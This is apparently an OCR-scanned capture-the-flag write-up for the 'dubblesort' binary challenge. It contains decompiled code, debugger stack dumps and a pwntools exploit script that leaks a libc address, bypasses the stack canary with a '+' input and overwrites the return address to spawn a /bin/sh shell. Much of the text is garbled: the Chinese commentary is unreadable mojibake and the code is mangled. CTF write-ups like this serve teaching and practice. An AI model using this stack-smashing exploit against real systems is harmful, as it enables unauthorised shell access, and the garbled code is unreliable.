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int _ cdecl main(int argc, const char **argv, const char **enwvp)
{
unsigned int v3; // eax
int *v4; // edi
unsigned int v5; // e=i
int v6; /f ecx
unsigned int v7; // esi
int vB; ff STe8_ 4
int result; // eax
int v10; f/ edx
unsigned int v11; // etl
unsigned int v12; // [esp+18h] [ebp-74h]
int v13; f/ [esp+1Ch] [ebp-7@h]
char buf; /f [esp+3Ch] [ebp-58h]
unsigned int v15; f/ [esp+7Ch] [ebp-1@h]

vl5 = _ readgsdword(@x14u);

sub_8B5();

__printf_chk(1l, "What your name :");

read(®, &buf, Gx40u);

_Tprintf_chk(l, "Hello ®s,How many numbers do you what to sort :");
__i50¢99_scanf("%u", &v12);

if (v12)
{

&v13;
a;

v

(¥, ]

]

L

_ printf_chk(1l, "Enter the ¥d number : ");
fflush(stdout);

__isoc99_scanf("¥u", vd);

+v5;

vi = vl2;

4yl

XE, AR

B ARAEMMreadz v, BH WA memsetibufiE=, Hik, buffwlfEZHI &4 — &5k H KRB HE
BoAR, WARBERANHEE LR, TOUERBEEL, HRBRRREN.
BAfEreadli i, REMERFIBEE, KAEIERMAN, RERE —LRREE

FFFEFGAC LNl A
FFFBF658 FFFBFBE1 [stack]:FFFBFEE1

FFFBFGE54 ©000882F

FFFBFES8 56570034 LDAD:5657C034

FFFBFESC ORO08a16

FFFBFEGE ORRA3S0

FFFBF664 F771C008 1ibe_2.23.s0:F771C000

FFFBFo6E F771A244 libc_2.23 .E Ad

UNENOYN FFFEFG4C: [stack]:FFFBFG4C (Svnchronized with ESP) l

BATATLARAT * 4 = 2847 4F, Raprintfit, SESWETROBEITEI LR, HBEX00

B stack view o0& x

4 61616161
FFO76728 61616161

FFD7672C 61616161

FFO76730 61616161

FFD76734 61616161

FFO76738 F7797244 libc_32.s0.6:F7797244
FFD7673C 56622601 _init_proc+9

UKKNO¥N FFDT&T23: [stack]:FFDTA723 (Swnchronized with ESP) l
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_.6:F75E9000 ; Segment type: Pure code

6:F75E9000 ; Segment permissions: Read/Execute

6:F75E9000 libc_32 so_6 segment byte public "CODE' use32

6:F75E9000 assume cs:libc_32 so_6

6:F75E9000 ;org @F75ES©66h

6:F75C9000 assume es: stack , ss: stack , ds: stack , fs: stack , gs: stack

RIEH, BATEIIEAIZE KW

Off = OxF7797244 - OxF75E9000 = Ox1AE244
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1. #ith 58 M bk I 75 Hlibe i ik
2. payload ='a"0x1C
3. sh.sendafter('name :',payload)

4. sh.recvuntil(payload)

5. #itElibchnk s ht

6. libc_base =u32(sh.recv(4)) - off

7. system_addr = libc_base + libc.sym['system']

8. binsh_addr = libc_base + libc.search('/bin/sh').next()
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1. #include <stdio.h>
2. intmain() {

inta =10;
while (true) {

3.
4.
5.
6.
7.
8.

}

}

scanf("%u",&a);

printf("%u\n",a);
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B " C\Users\Administrator\Desktop\ttt.exe
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unsigned int v12; // |esp+l8h] |ebp-74h]

int v13; // [esp+1Ch] [
char buf; // [ C

unsigned int \-.-'15; T ——| [ebp
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#coding:utf8
from pwn import *

sh = process('./dubblesort',env={"LD_PRELOAD" : "./libc_32.s0.6"})
#sh = remote('111.198.29.45' 57605)

libc = ELF('/libc_32.s0.6")

off = 0x1AE244

© ® N o ok~ 0w DN =

itk 55 bk I+ S H libe Ry b bk
payload ='a"0x1C
. sh.sendafter('name :',payload)
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12. sh.recwuntil(payload)

13. #itElibchnE bt

14. libc_base = u32(sh.recv(4)) - off

15. system_addr = libc_base + libc.sym['system']
16. binsh_addr = libc_base + libc.search('/bin/sh’).next()
17.

18. print'libc_base=",hex(libc_base)

19. print'system_addr=",hex(system_addr)

20.

21. n=35

22. sh.sendlineafter('sort :',str(n))

23.

24. foriinrange(0,n-11):

25. sh.sendlineafter('number :',str(0))

26.

27. sh.sendlineafter('number :','+'")

28.

29. foriinrange(0,9):

30. sh.sendlineafter('number :'str(system_addr))
31. sh.sendlineafter('number :',str(binsh_addr))



32.
33. sh.interactive()
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